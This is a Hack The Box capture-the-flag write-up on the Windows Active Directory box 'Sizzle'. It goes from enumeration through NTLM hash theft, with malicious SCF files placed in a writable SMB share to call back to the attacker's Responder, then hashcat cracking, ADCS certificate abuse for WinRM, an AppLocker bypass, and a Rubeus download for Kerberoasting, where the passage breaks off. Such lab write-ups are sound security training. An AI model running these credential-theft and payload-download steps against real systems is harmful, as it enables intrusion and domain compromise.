HTB Sizzle CTF Writeup
Insane-rated Windows Active Directory box. LLMNR/NBT-NS poisoning steals NTLM hashes via a writable SMB share. ADCS issues a certificate for PSRemoting access, Kerberoasting cracks a service account, and DCSync via replication rights yields domain admin hashes.
Challenge Summary
Sizzle is an “Insane” difficulty WIndows box with an Active Directory environment. A writable directory in an SMB share allows to steal NTLM hashes which can be cracked to access the Certificate Services Portal. A self signed certificate can be created using the CA and used for PSRemoting. A SPN associated with a user allows a kerberoast attack on the box. The user is found to have Replication rights which can be abused to get Administrator hashes via DCSync.
Service Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# Nmap 7.93 scan initiated Sun Apr 13 15:59:09 2025 as: nmap -A -oN scans/nmap.initial 10.10.10.103
Nmap scan report for 10.10.10.103
Host is up (0.094s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
|_ssl-date: 2025-04-13T20:00:48+00:00; 0s from scanner time.
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
|_ssl-date: 2025-04-13T20:00:47+00:00; -1s from scanner time.
| tls-alpn:
| h2
|_ http/1.1
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap
|_ssl-date: 2025-04-13T20:00:47+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
|_ssl-date: 2025-04-13T20:00:48+00:00; -1s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2025-04-13T20:00:47+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-04-13T20:00:10
|_ start_date: 2025-04-13T14:36:49
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 13 16:00:51 2025 -- 1 IP address (1 host up) scanned in 102.17 seconds
SMB Server Enumeration
Summary
I could access the SMB share using a guest account. I could use this access to enumerate for valid users/groups/computers in the system. Among the accessible shares, a non default one grabs my attention: ZZ_ARCHIVE. I could enumerate the share, to find a whole lot of files under the directory tree, but those files have no content at all, are all just placeholder files it seems. As I didn’t find reasonable options on the internet to enumerate writable folders in a SMB share, I created a simple bash script that lists all folders in a share and tries to place a file under every single one of them, to find out if we can write to any of those. By that I could find two writable folders, which I’ll work with later on the engagement.
Details
The SMB server allows for guest authentication using a random username:
1
2
3
$ nxc smb 10.10.10.103 -u 'test' -p ''
SMB 10.10.10.103 445 SIZZLE [*] Windows 10 / Server 2016 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.103 445 SIZZLE [+] HTB.LOCAL\test: (Guest)
I could leverage this and enumerate valid system users and groups:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ nxc smb 10.10.10.103 -u 'test' -p '' --rid-brute 5000
SMB 10.10.10.103 445 SIZZLE [*] Windows 10 / Server 2016 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.103 445 SIZZLE [+] HTB.LOCAL\test: (Guest)
SMB 10.10.10.103 445 SIZZLE 498: HTB\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.10.103 445 SIZZLE 500: HTB\Administrator (SidTypeUser)
SMB 10.10.10.103 445 SIZZLE 501: HTB\Guest (SidTypeUser)
SMB 10.10.10.103 445 SIZZLE 502: HTB\krbtgt (SidTypeUser)
SMB 10.10.10.103 445 SIZZLE 503: HTB\DefaultAccount (SidTypeUser)
SMB 10.10.10.103 445 SIZZLE 512: HTB\Domain Admins (SidTypeGroup)
SMB 10.10.10.103 445 SIZZLE 513: HTB\Domain Users (SidTypeGroup)
SMB 10.10.10.103 445 SIZZLE 514: HTB\Domain Guests (SidTypeGroup)
SMB 10.10.10.103 445 SIZZLE 515: HTB\Domain Computers (SidTypeGroup)
SMB 10.10.10.103 445 SIZZLE 516: HTB\Domain Controllers (SidTypeGroup)
SMB 10.10.10.103 445 SIZZLE 517: HTB\Cert Publishers (SidTypeAlias)
SMB 10.10.10.103 445 SIZZLE 518: HTB\Schema Admins (SidTypeGroup)
SMB 10.10.10.103 445 SIZZLE 519: HTB\Enterprise Admins (SidTypeGroup)
SMB 10.10.10.103 445 SIZZLE 520: HTB\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.10.103 445 SIZZLE 521: HTB\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.10.103 445 SIZZLE 522: HTB\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.10.103 445 SIZZLE 525: HTB\Protected Users (SidTypeGroup)
SMB 10.10.10.103 445 SIZZLE 526: HTB\Key Admins (SidTypeGroup)
SMB 10.10.10.103 445 SIZZLE 527: HTB\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.10.103 445 SIZZLE 553: HTB\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.10.103 445 SIZZLE 571: HTB\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.10.103 445 SIZZLE 572: HTB\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.10.103 445 SIZZLE 1001: HTB\SIZZLE$ (SidTypeUser)
SMB 10.10.10.103 445 SIZZLE 1102: HTB\DnsAdmins (SidTypeAlias)
SMB 10.10.10.103 445 SIZZLE 1103: HTB\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.10.103 445 SIZZLE 1104: HTB\amanda (SidTypeUser)
SMB 10.10.10.103 445 SIZZLE 1603: HTB\mrlky (SidTypeUser)
SMB 10.10.10.103 445 SIZZLE 1604: HTB\sizzler (SidTypeUser)
Out of the shares I could access using a guest account, the only one that stands out is “Department Shares” as it isn’t a default share:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nxc smb 10.10.10.103 -u 'test' -p '' --shares
SMB 10.10.10.103 445 SIZZLE [*] Windows 10 / Server 2016 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.103 445 SIZZLE [+] HTB.LOCAL\test: (Guest)
SMB 10.10.10.103 445 SIZZLE [*] Enumerated shares
SMB 10.10.10.103 445 SIZZLE Share Permissions Remark
SMB 10.10.10.103 445 SIZZLE ----- ----------- ------
SMB 10.10.10.103 445 SIZZLE ADMIN$ Remote Admin
SMB 10.10.10.103 445 SIZZLE C$ Default share
SMB 10.10.10.103 445 SIZZLE CertEnroll Active Directory Certificate Services share
SMB 10.10.10.103 445 SIZZLE Department Shares READ
SMB 10.10.10.103 445 SIZZLE IPC$ READ Remote IPC
SMB 10.10.10.103 445 SIZZLE NETLOGON Logon server share
SMB 10.10.10.103 445 SIZZLE Operations
SMB 10.10.10.103 445 SIZZLE SYSVOL Logon server share
I ran a spider to enumerate all files/directories in the “Department Shares” SMB share:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ nxc smb 10.10.10.103 -u 'test' -p '' -M spider_plus --share 'Department Shares'
SMB 10.10.10.103 445 SIZZLE [*] Windows 10 / Server 2016 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.103 445 SIZZLE [+] HTB.LOCAL\test: (Guest)
SPIDER_PLUS 10.10.10.103 445 SIZZLE [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.10.103 445 SIZZLE [*] DOWNLOAD_FLAG: False
SPIDER_PLUS 10.10.10.103 445 SIZZLE [*] STATS_FLAG: True
SPIDER_PLUS 10.10.10.103 445 SIZZLE [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.10.10.103 445 SIZZLE [*] EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.10.103 445 SIZZLE [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.10.10.103 445 SIZZLE [*] OUTPUT_FOLDER: /home/user/.nxc/modules/nxc_spider_plus
SMB 10.10.10.103 445 SIZZLE [*] Enumerated shares
SMB 10.10.10.103 445 SIZZLE Share Permissions Remark
SMB 10.10.10.103 445 SIZZLE ----- ----------- ------
SMB 10.10.10.103 445 SIZZLE ADMIN$ Remote Admin
SMB 10.10.10.103 445 SIZZLE C$ Default share
SMB 10.10.10.103 445 SIZZLE CertEnroll Active Directory Certificate Services share
SMB 10.10.10.103 445 SIZZLE Department Shares READ
SMB 10.10.10.103 445 SIZZLE IPC$ READ Remote IPC
SMB 10.10.10.103 445 SIZZLE NETLOGON Logon server share
SMB 10.10.10.103 445 SIZZLE Operations
SMB 10.10.10.103 445 SIZZLE SYSVOL Logon server share
SPIDER_PLUS 10.10.10.103 445 SIZZLE [+] Saved share-file metadata to "/home/user/.nxc/modules/nxc_spider_plus/10.10.10.103.json".
SPIDER_PLUS 10.10.10.103 445 SIZZLE [*] SMB Shares: 8 (ADMIN$, C$, CertEnroll, Department Shares, IPC$, NETLOGON, Operations, SYSVOL)
SPIDER_PLUS 10.10.10.103 445 SIZZLE [*] SMB Readable Shares: 2 (Department Shares, IPC$)
SPIDER_PLUS 10.10.10.103 445 SIZZLE [*] SMB Filtered Shares: 1
SPIDER_PLUS 10.10.10.103 445 SIZZLE [*] Total folders found: 51
SPIDER_PLUS 10.10.10.103 445 SIZZLE [*] Total files found: 51
SPIDER_PLUS 10.10.10.103 445 SIZZLE [*] File size average: 409.6 KB
SPIDER_PLUS 10.10.10.103 445 SIZZLE [*] File size min: 409.6 KB
SPIDER_PLUS 10.10.10.103 445 SIZZLE [*] File size max: 409.6 KB
The output json looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
{
"Department Shares": {
"ZZ_ARCHIVE/AddComplete.pptx": {
"atime_epoch": "2018-07-02 15:32:58",
"ctime_epoch": "2018-07-02 15:32:58",
"mtime_epoch": "2018-07-02 15:32:58",
"size": "409.6 KB"
},
"ZZ_ARCHIVE/AddMerge.ram": {
"atime_epoch": "2018-07-02 15:32:57",
"ctime_epoch": "2018-07-02 15:32:57",
"mtime_epoch": "2018-07-02 15:32:57",
"size": "409.6 KB"
},
<SNIP>
"ZZ_ARCHIVE/WaitRevoke.pptx": {
"atime_epoch": "2018-07-02 15:32:57",
"ctime_epoch": "2018-07-02 15:32:57",
"mtime_epoch": "2018-07-02 15:32:57",
"size": "409.6 KB"
},
"ZZ_ARCHIVE/WriteUninstall.mp3": {
"atime_epoch": "2018-07-02 15:32:58",
"ctime_epoch": "2018-07-02 15:32:58",
"mtime_epoch": "2018-07-02 15:32:58",
"size": "409.6 KB"
}
}
}
I downloaded three different files from the ZZ_ARCHIVE directory, all of them are filled with bytes, but no content at all. Just placeholder files it seems.
So, I created a simple bash script to enumerate writable folders in the smb share:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash
mount_point="/mnt/htb"
writable_dirs=()
echo "Enumerating writable folders under: $mount_point"
echo "--------------------------------------------"
for dir in $(find "$mount_point" -type d); do
echo "Testing write in: $dir"
if touch "$dir/test_write" 2>/dev/null; then
echo -e "\e[1;32m[+] Writable:\e[0m $dir"
rm "$dir/test_write"
writable_dirs+=("$dir")
else
echo -e "\e[1;31m[-] Not writable:\e[0m $dir"
fi
done
echo ""
echo "====== Writable Folders Summary ======"
if [ ${#writable_dirs[@]} -eq 0 ]; then
echo -e "\e[1;31mNo writable directories found.\e[0m"
else
for wdir in "${writable_dirs[@]}"; do
echo -e "\e[1;32m$wdir\e[0m"
done
fi
I mounted the SMB share locally:
1
2
sudo mkdir /mnt/htb
sudo mount -t cifs '//10.10.10.103/Department Shares' /mnt/htb
And ran the script, discovering two writable folders (Users/Public and ZZ_ARCHIVE):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ sudo ./smb_write_test.sh
Enumerating writable folders under: /mnt/htb
--------------------------------------------
Testing write in: /mnt/htb
[-] Not writable: /mnt/htb
Testing write in: /mnt/htb/Accounting
[-] Not writable: /mnt/htb/Accounting
Testing write in: /mnt/htb/Audit
[-] Not writable: /mnt/htb/Audit
<SNIP>
Testing write in: /mnt/htb/Users/morgan
[-] Not writable: /mnt/htb/Users/morgan
Testing write in: /mnt/htb/Users/mrb3n
[-] Not writable: /mnt/htb/Users/mrb3n
Testing write in: /mnt/htb/Users/Public
[+] Writable: /mnt/htb/Users/Public
Testing write in: /mnt/htb/ZZ_ARCHIVE
[+] Writable: /mnt/htb/ZZ_ARCHIVE
====== Writable Folders Summary ======
/mnt/htb/Users/Public
/mnt/htb/ZZ_ARCHIVE
FTP Server Enumeration
Summary
I could log in to the FTP server using an anonymous account. There is little to no information that could be obtained from the FTP server, as there aren’t any files available nor we can write files to the server.
Details
The server allows for Anonymous FTP authentication. I was able to log in anonymously to the FTP server, but no file was encountered:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ftp 10.10.10.103
Connected to 10.10.10.103.
220 Microsoft FTP Service
Name (10.10.10.103:user): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> ls
200 EPRT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> exit
221 Goodbye.
I also couldn’t write any file in the server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ftp 10.10.10.103
Connected to 10.10.10.103.
220 Microsoft FTP Service
Name (10.10.10.103:user): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp>
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||62143|)
550 Access is denied.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> put test.txt
local: test.txt remote: test.txt
200 EPRT command successful.
550 Access is denied.
ftp> exit
221 Goodbye.
Web Server Enumeration
Summary
The default page for the web server seems to be just a splash gif of sizzle, nothing really interesting upon reading the page source code as well. I performed a directory bruteforcing attack, which resulted in me finding a /certsrv endpoint that will be useful later on the engagement.
Details
The default web page for the application is just a GIF image:
Fig. 01: A simple splash GIF displaying a sizzling on the default IIS landing page.
Nothing really interesting. So, I started a directory bruteforcing:
1
wfuzz -u http://10.10.10.103/FUZZ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-words.txt --hw 95 -t 20
You can see a result snippet below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<SNIP>
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000003: 301 1 L 10 W 150 Ch "images"
<SNIP>
000035053: 301 1 L 10 W 157 Ch "ASPNET_CLIENT"
000037395: 401 29 L 100 W 1293 Ch "certsrv"
Total time: 0
Processed Requests: 43007
Filtered Requests: 42977
Requests/sec.: 0
Among the results, /certsrv drags my attention.
LLMNR/NBT-NS Poisoning
Summary
After successful enumeration of writable folders on the SMB share “Department Shares”, I used a python tool to generate malicious files that, when opened, forces a connection back to my machine. In my machine, there was a Responder server waiting for connections. I was able to upload the malicious SCF file to the writable folder in the share, and, after a few seconds, received a connection in the Responder listener, containing a password hash for system user “amanda”.
Details
I started by cloning the tool to my local machine:
1
2
3
4
5
6
7
8
$ git clone --depth 1 https://github.com/Greenwolf/ntlm_theft.git
Cloning into 'ntlm_theft'...
remote: Enumerating objects: 66, done.
remote: Counting objects: 100% (66/66), done.
remote: Compressing objects: 100% (38/38), done.
remote: Total 66 (delta 24), reused 63 (delta 24), pack-reused 0 (from 0)
Receiving objects: 100% (66/66), 2.10 MiB | 2.59 MiB/s, done.
Resolving deltas: 100% (24/24), done.
Then I installed the required dependencies:
1
$ sudo apt install python3-xlsxwriter
And ran the tool to generate the malicious files:
1
2
3
4
5
6
7
8
$ cd ntlm_theft/
$ python3 ntlm_theft.py --generate all --server 10.10.14.4 --filename sizzle
Created: sizzle/sizzle.scf (BROWSE TO FOLDER)
Created: sizzle/sizzle-(url).url (BROWSE TO FOLDER)
Created: sizzle/sizzle-(icon).url (BROWSE TO FOLDER)
<SNIPPET>
Created: sizzle/desktop.ini (BROWSE TO FOLDER)
Generation Complete.
I then prepared the Responder server to wait for connections:
1
sudo responder -I tun0
Then I uploaded the SCF file to the SMB share (locally mounted):
1
2
3
$ sudo cp sizzle.scf /mnt/htb/Users/Public/sizzle.scf
$ ls /mnt/htb/Users/Public/
sizzle.scf
After a few seconds, the Responder listener got a hit:
1
2
3
4
5
6
7
8
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.10.103
[SMB] NTLMv2-SSP Username : HTB\amanda
[SMB] NTLMv2-SSP Hash : amanda::HTB:9fcc0d3d392420b5:0EAEFF7F29524FE2440D245E1B69A9C9:01010000000000000056E71738AEDB010223DEDEE5A5DE8C00000000020008004B00410041005A0001001E00570049004E002D0044004F0031003300380052003400480035004D00580004003400570049004E002D0044004F0031003300380052003400480035004D0058002E004B00410041005A002E004C004F00430041004C00030014004B00410041005A002E004C004F00430041004C00050014004B00410041005A002E004C004F00430041004C00070008000056E71738AEDB01060004000200000008003000300000000000000001000000002000002462566D72D68972747AF0A78AA72757FB3EA713C74B264ACFA0DD9FF7A6BFF20A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E003400000000000000000000000000
[*] Skipping previously captured hash for HTB\amanda
[*] Skipping previously captured hash for HTB\amanda
[+] Exiting...
Weak Passwords - Hash Cracking
Summary
After obtaining the password hash for “amanda”, I used a common wordlist (rockyou.txt) to crack the password hash, indicating the use of a weak password policy in the organization.
Details
I did save the password hash for “amanda” to a local file named “amanda.hash”:
1
amanda::HTB:9fcc0d3d392420b5:0EAEFF7F29524FE2440D245E1B69A9C9:01010000000000000056E71738AEDB010223DEDEE5A5DE8C00000000020008004B00410041005A0001001E00570049004E002D0044004F0031003300380052003400480035004D00580004003400570049004E002D0044004F0031003300380052003400480035004D0058002E004B00410041005A002E004C004F00430041004C00030014004B00410041005A002E004C004F00430041004C00050014004B00410041005A002E004C004F00430041004C00070008000056E71738AEDB01060004000200000008003000300000000000000001000000002000002462566D72D68972747AF0A78AA72757FB3EA713C74B264ACFA0DD9FF7A6BFF20A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E003400000000000000000000000000
Then I ran hashcat alongside rockyou.txt against the password hash and was able to obtain the cleartext password for “amanda” (Ashare1972):
1
hashcat amanda.hash /usr/share/wordlists/SecLists-master/Passwords/Leaked-Databases/rockyou.txt
To verify the credentials, I connected to the LDAP server using the discovered credentials (amanda:Ashare1972):
1
2
3
$ nxc ldap 10.10.10.103 -u amanda -p 'Ashare1972'
LDAP 10.10.10.103 389 SIZZLE [*] Windows 10 / Server 2016 Build 14393 (name:SIZZLE) (domain:HTB.LOCAL)
LDAP 10.10.10.103 389 SIZZLE [+] HTB.LOCAL\amanda:Ashare1972
Active Directory Enumeration
Summary
After obtaining valid domain credentials, I began to enumerate the Active Directory environment. I added “10.10.10.103” (the victim’s machine IP address) to my /etc/resolv.conf file. That means that from now on, my attacking machine will connect to the victim machine (10.10.10.103) to resolve DNS queries. This is needed in order to enumerate properly the Active Directory environment.
I collected data using Bloodhound with the previously obtained credentials for “amanda”, and, upon analyzing the results, I was able to identify a clear attack path that involves kerberoasting the system user “mrlky” to try obtain their cleartext password, and abuse their privileges over the HTB.LOCAL domain to perform a DCSync attack.
Details
This is how /etc/resolv.conf looks like now:
1
2
3
4
$ cat /etc/resolv.conf
nameserver 10.10.10.103
nameserver 10.139.1.1
nameserver 10.139.1.2
Then the I used netexec to collect BloodHound data:
1
2
3
4
5
6
$ nxc ldap 10.10.10.103 -u amanda -p 'Ashare1972' --bloodhound -c All
LDAP 10.10.10.103 389 SIZZLE [*] Windows 10 / Server 2016 Build 14393 (name:SIZZLE) (domain:HTB.LOCAL)
LDAP 10.10.10.103 389 SIZZLE [+] HTB.LOCAL\amanda:Ashare1972
LDAP 10.10.10.103 389 SIZZLE Resolved collection methods: acl, session, container, localadmin, rdp, group, trusts, objectprops, dcom, psremote
LDAP 10.10.10.103 389 SIZZLE Done in 00M 24S
LDAP 10.10.10.103 389 SIZZLE Compressing output into /home/user/.nxc/logs/SIZZLE_10.10.10.103_2025-04-16_100527_bloodhound.zip
I loaded the zip file into a local running BloodHound Community Edition server:
Fig. 02: BloodHound graph showcasing the Active Directory environment collected with Amanda’s credentials.
I listed all kerberoastable users, and discovered that “mrlky” is kerberoastable.
Fig. 03: BloodHound query result highlighting the single kerberoastable account “mrlky”.
This is important because this user has some weird privileges (GetChanges, GetChangesAll and GetChangesInFilteredSet) over the HTB.LOCAL domain that, when combined, allow for DCSync, which can effectively compromise the domain:
Fig. 04: BloodHound detail view illustrating mrlky’s GetChanges and DCSync privileges over the HTB._LOCAL domain.
However, I couldn’t exploit this kerberoasting vulnerability from the outside, as kerberos is not open. I need a shell session on the machine in order to proceed.
Initial Shell
Summary
Even with the correct credentials for “amanda”, and sure that the user is member of the “remote management users” on Active Directory, I couldn’t log in to the system via winrm, and I didn’t know why. The error message is weird, nothing I’ve ever encountered before. However, I figured Active Directory Certificate Services is running on the machine based on the /certsrv endpoint available on the web server, and that password authentication is not allowed by policy, requiring users to authenticate with a valid certificate instead. I generated the necessary files to sign a certificate for “amanda”, and was able to specify the certificate and private key to authenticate to the machine via winrm.
Details
I couldn’t obtain a shell via winrm at first:
1
2
3
4
5
6
7
8
$ evil-winrm -i 10.10.10.103 -l -u amanda -p 'Ashare1972'
[snippet]
Error: An error of type WinRM::WinRMHTTPTransportError happened, message is Unable to parse authorization header. Headers: {"Server"=>"Microsoft-HTTPAPI/2.0", "Date"=>"Wed, 16 Apr 2025 20:11:30 GMT", "Connection"=>"close", "Content-Length"=>"0"}
Body: (401).
Error: Exiting with code 1
The error message is interesting, I’ve never seen it before. When trying with SSL,
1
2
3
4
5
6
7
8
9
10
11
$ evil-winrm -i 10.10.10.103 -l -u amanda -p 'Ashare1972' -S
[snippet]
Warning: SSL enabled
Info: Establishing connection to remote endpoint
Error: An error of type ArgumentError happened, message is unknown type: 2916725146
Error: Exiting with code 1
Something was clearly going on. The credentials are correct, as seen in the successful ldap authentication earlier.
Coming back to the web server enumeration, it’s possible to log in using the credentials for “amanda” at http://10.10.10.103/certsrv:
Fig. 05: The IIS Certificate Services login page prompting for domain credentials at /certsrv.
After some research, I found the commands to generate the certificate and private key. We’ll sign the public key using the Active Directory Certificate Services’s web interface to log in to winrm using the private/public keys. Password authentication is not allowed.
First, generate the keys. It is important to note that a PEM pass phrase is required. Make sure to set a PEM pass phrase:
1
2
3
openssl req -new -keyout server.key -out server.csr
# fill in with random details...
Then, copy the generated CSR to the clipboard:
1
$ cat server.csr | xclip -selection clipboard
In the web interface, hit “Request a certificate”, the server will direct you to this page: http://10.10.10.103/certsrv/certrqus.asp.
Then, click on “advanced certificate request”. The server will direct you to this page: http://10.10.10.103/certsrv/certrqxt.asp:
Fig. 06: The Advanced Certificate Request form on the ADCS web interface ready for a custom CSR.
Fill in the big field with your CSR from the clipboard:
Fig. 07: The CSR pasted into the ADCS request field, awaiting submission to generate a user certificate.
And hit submit. After a few seconds, this page will hopefully appear:
Fig. 08: The certificate issuance confirmation page offering the signed cert for download in Base64 format.
Select “Base 64 encoded” and hit “Download certificate”.
Using the signed certificate and private key, it is now possible to log in to the box using evil-winrm, specifying the files:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ evil-winrm -c certnew.cer -k server.key -i 10.10.10.103 -u amanda -p 'Ashare1972' -S
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
Enter PEM pass phrase:
*Evil-WinRM* PS C:\Users\amanda\Documents> whoami
htb\amanda
*Evil-WinRM* PS C:\Users\amanda\Documents> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : htb
IPv6 Address. . . . . . . . . . . : dead:beef::13f
Link-local IPv6 Address . . . . . : fe80::c812:17cc:5933:556f%4
IPv4 Address. . . . . . . . . . . : 10.10.10.103
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2
Tunnel adapter isatap.{46648897-E969-4FE1-9579-63F4E5F7CD54}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : htb
*Evil-WinRM* PS C:\Users\amanda\Documents>
Horizontal Privilege Escalation
Summary
After obtaining a shell as “amanda”, I began enumerating the machine internally. Upon transferring some tools to the machine and failing to execute them due to errors, I noticed that AppLocker is enabled. I enumerated the AppLocker configuration to discover where I can run executable files, and that ultimately allowed me to follow the attack path related to the Kerberoasting attack I discovered earlier (Kerberos’s port isn’t open in the firewall, but I can access Kerberos from the inside) and crack the password hash for “mrlky”.
Details
First, I’ll enumerate AppLocker configuration:
1
2
*Evil-WinRM* PS C:\windows\temp> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Enter PEM pass phrase: ...
From the output, we see that we can run executable files from the windows directory and all its subdirectories:
1
2
3
4
5
6
7
8
9
PathConditions : {%WINDIR%\*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 9428c672-5fc3-47f4-808a-a0011f36dd2c
Name : (Default Rule) All scripts located in the Windows folder
Description : Allows members of the Everyone group to run scripts that are located in the Windows folder.
UserOrGroupSid : S-1-1-0
Action : Allow
So as long as I have write access to a folder under C:\Windows\*, I can execute my tools. There are many lists out there that indicates folders in a windows system that allows for any user to write to them.
The trick here is that, when accessing C:\Windows\Temp, and others, we get an access denied error when performing directory listing:
1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\windows\temp> dir
Enter PEM pass phrase:
Access to the path 'C:\windows\temp' is denied.
At line:1 char:1
+ dir
+ ~~~
+ CategoryInfo : PermissionDenied: (C:\windows\temp:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
However, even if “dir” fails, don’t assume you’re locked out. I tired writing a test file. That’s often the best way to probe for hidden opportunities:
1
2
3
*Evil-WinRM* PS C:\windows\temp> "test" | Out-File C:\Windows\Temp\test.txt -ErrorAction SilentlyContinue
*Evil-WinRM* PS C:\windows\temp> type test.txt
test
As you can see, we can write to that directory.
I cloned the precompiled-binaries repository to my local machine, and, in the LateralMovement folder, started a http server:
1
2
user@attackbox:~/Hacking/Tools/precompiled-binaries/LateralMovement$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
In the victim machine, I got Rubeus.exe downloaded:
1
*Evil-WinRM* PS C:\windows\temp> powershell iwr -uri 10.10.14.10:8080/Rubeus.exe -outfile rubeus.exe
And was able to perform the Kerberoast attack in a breeze:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
*Evil-WinRM* PS C:\windows\temp> .\rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.3
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Target Domain : HTB.LOCAL
